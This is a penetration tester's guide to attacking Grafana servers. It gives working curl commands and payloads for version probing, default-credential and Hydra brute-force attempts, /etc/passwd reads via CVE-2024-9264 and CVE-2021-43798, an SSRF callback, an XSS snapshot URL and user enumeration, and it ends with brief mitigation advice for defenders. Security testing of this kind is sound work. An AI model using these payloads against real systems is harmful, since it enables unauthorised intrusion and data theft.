Hacking Grafana: A Red Teamer's Complete Guide

Updated on September 10, 2025

As a penetration tester, I see Grafana everywhere. It's a fantastic open-source platform for data visualization, which is why so many organizations rely on it. But its ability to connect to a wide array of sensitive data sources makes it a prime target for anyone interested in hacking Grafana. Gaining access to a Grafana instance can be the key to the kingdom.

This guide is my personal playbook for assessing the security of a Grafana instance. I'll walk you through my process, from initial reconnaissance to exploiting known vulnerabilities, providing the actual commands and payloads I use in the field.

1. Initial Reconnaissance: Identifying and Versioning Grafana

The first step is always to know your target. When I'm port scanning a network (a crucial step covered in our guide to network scanning, I'm specifically looking for common Grafana ports like 3000 and 3003. Once I find a potential instance, I need to confirm it's Grafana and find its exact version. Vulnerabilities are almost always version-specific, so this is a critical piece of intel.

While the version number is sometimes displayed on the login page footer, I don't rely on it. A more reliable method is to query the API.

I start with a simple curl to the health check endpoint:

curl http://<target-ip:port>/api/health

If I'm lucky, this returns a JSON response that includes the version number directly.

If that doesn't work, I check the login page's source code or the /api/frontend/settings endpoint, which often leaks build information. Once I have the version, I can immediately start looking for publicly disclosed CVEs that apply to it.

2. Common Attack Vectors and "Easy Wins"

Before launching into more complex exploits, I always check for the basics. You'd be surprised how often these simple checks yield a shell or admin access.

Default and Weak Credentials

My first attack is always to test for default credentials. It's the most common misconfiguration and provides the quickest path to compromise. I always try these combinations first:

• admin:admin
• admin:prom-operator

If those fail, I'll move on to a broader list of weak passwords (password, 123456, grafana) using tools like Burp Intruder or Hydra to automate the attempts against the /login endpoint.

Unauthenticated Access

Next, I check for exposed API endpoints. A misconfiguration can leave sensitive data or functionality open to the world. I use curl to test key endpoints for a 200 OK response, which signals unauthenticated access:

• Dashboards: curl http://<target-ip:port>/api/dashboards/home
• Data Sources: curl http://<target-ip:port>/api/datasources
• Users: curl http://<target-ip:port>/api/users
• Snapshots: curl http://<target-ip:port>/api/snapshots
• Organizations: curl http://<target-ip:port>/api/orgs

Access to any of these can provide valuable information for pivoting further into the network.

3. Exploiting Known Vulnerabilities (CVEs)

With the version information in hand, I move on to targeted exploitation of known CVEs. Here are some of the most impactful ones I look for.

Remote Code Execution via DuckDB (CVE-2024-9264)

This is a critical vulnerability and one of my top priorities to check for. It allows for remote code execution if the DuckDB data source is enabled. To test for a read vulnerability, I send a crafted query to the /api/ds/query endpoint to attempt to read /etc/passwd.

curl -k -X POST 'http://<target-ip:port>/api/ds/query' \
-H 'Content-Type: application/json' \
--data-raw '{
    "queries": [
        {
            "datasource": {
                "uid": "__expr__",
                "type": "__expr__"
            },
            "expression": "1+1",
            "refId": "A",
            "sql": {
                "sql": "SELECT * FROM read_csv_auto(\u0027/etc/passwd\u0027)"
            }
        }
    ]
}'

A successful response containing the file's contents confirms the vulnerability, and from there, achieving full RCE is often possible.

Path Traversal (CVE-2021-43798)

This is another high-severity flaw in Grafana 8.0.0-8.3.0 that allows an unauthenticated attacker to read arbitrary files. To test for it, I craft a curl request to a plugin endpoint and use directory traversal to access /etc/passwd:

curl --path-as-is http://<target-ip:port>/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd

If the response contains the content of the passwd file, I know the server is vulnerable.

Server-Side Request Forgery (SSRF) (CVE-2020-13379)

This unauthenticated SSRF (affecting versions 3.0.1-7.0.1) is triggered via the avatar functionality. I use a payload that points to an external server I control (like Burp Collaborator or Interactsh) to confirm the vulnerability.

https://<target-ip:port>/avatar/test%3fd%3d<your-collaborator-url>

If I get a DNS or HTTP callback on my server, I've confirmed the SSRF and can begin probing the internal network.

Cross-Site Scripting (XSS)

Grafana has had its share of XSS flaws. These are great for targeting authenticated users to steal session cookies.

• CVE-2021-41174 (Unauthenticated XSS): This flaw in the login page can be exploited by crafting a malicious snapshot URL.

  https://<target-ip:port>/dashboard/snapshot/%7B%7Bconstructor.constructor('alert(document.domain)')()%7D%7D?orgId=1

• CVE-2020-11110 (Stored XSS): This is triggered by creating a snapshot with a malicious originalUrl.
• CVE-2023-1410 (Stored XSS): This can be triggered in the tooltip for the Graphite data source.

Authentication Bypass and Privilege Escalation

• CVE-2023-3128 (Azure AD Auth Bypass): If the target uses Azure AD for authentication, I'll test this by navigating directly to /login/azuread to see if I can bypass the login flow.
• CVE-2022-39229 (Auth Bypass): This allows unauthenticated access to dashboards. I test it by directly accessing /api/dashboards/home without a session cookie.
• CVE-2024-9476 (Privilege Escalation): If I have low-level user access, I'll query the /api/orgs endpoint to see if I can view or modify organizations I shouldn't have access to.
• Snapshot Authentication Bypass (CVE-2021-39226): I test if I can access snapshots without authentication by directly accessing literal paths like /dashboard/snapshot/:key or by using orgId=0.

4. Information Disclosure

Sometimes, even without direct access, a Grafana instance can leak sensitive information.

• /metrics Endpoint: I always check for an exposed /metrics endpoint.

  curl http://<target-ip:port>/metrics

  This endpoint can reveal details about the infrastructure, data source types, and system performance.

• User Enumeration (CVE-2022-39307): Some versions allow user enumeration via the password reset page. I send a POST request with a common email address; if the error message is "user not found," the vulnerability is present.

  curl -X POST -H "Content-Type: application/json" \
       -d '{"loginOrEmail":"admin@example.com"}' \
       http://<target-ip:port>/api/user/password/sent-reset-email

• /api/frontend/settings Endpoint: Beyond just the version, this endpoint can reveal configured data sources, enabled features, and other internal settings useful for tailoring further attacks.

My Penetration Testing Workflow

Here’s a summary of my step-by-step process for testing a Grafana instance:

1. Version Enumeration: Pinpoint the exact version using API endpoints after finding the service on common ports (3000, 3003).
2. Credential Stuffing: Test for default, weak, and common credentials.
3. CVE Scanning: Use the version number to test for relevant, high-impact CVEs with specific payloads, prioritizing RCE and Auth Bypass. You can learn more about [effective CVE management](INSERT_INTERNAL_URL) here.
4. Unauthenticated Access: Probe all sensitive API endpoints for exposure.
5. Information Disclosure Review: Check the /metrics and /api/frontend/settings endpoints and test for user enumeration.

Conclusion and Mitigation

For a red teamer, Grafana is a treasure trove of potential footholds. A thorough test involves a multi-pronged attack, from simple credential checks to sophisticated CVE exploitation.

For defenders, the path to securing Grafana is clear:

• Change default credentials immediately. This is non-negotiable.
• Patch, patch, patch. Keep your Grafana instance updated to the latest version.
• Enforce the principle of least privilege. Restrict access to the Grafana UI and its API endpoints using a firewall or reverse proxy.
• Regularly review your configuration. Ensure that anonymous access is disabled and no sensitive data is unnecessarily exposed.

By understanding how an attacker approaches Grafana, you can build a more robust defense and protect your organization's data.

Enjoyed this guide? Share your thoughts below and tell us how you approach Grafana security testing in your projects!

Hacking Grafana, Grafana Security, Penetration Testing, Red Teaming, CVE, Cybersecurity, Vulnerability Assessment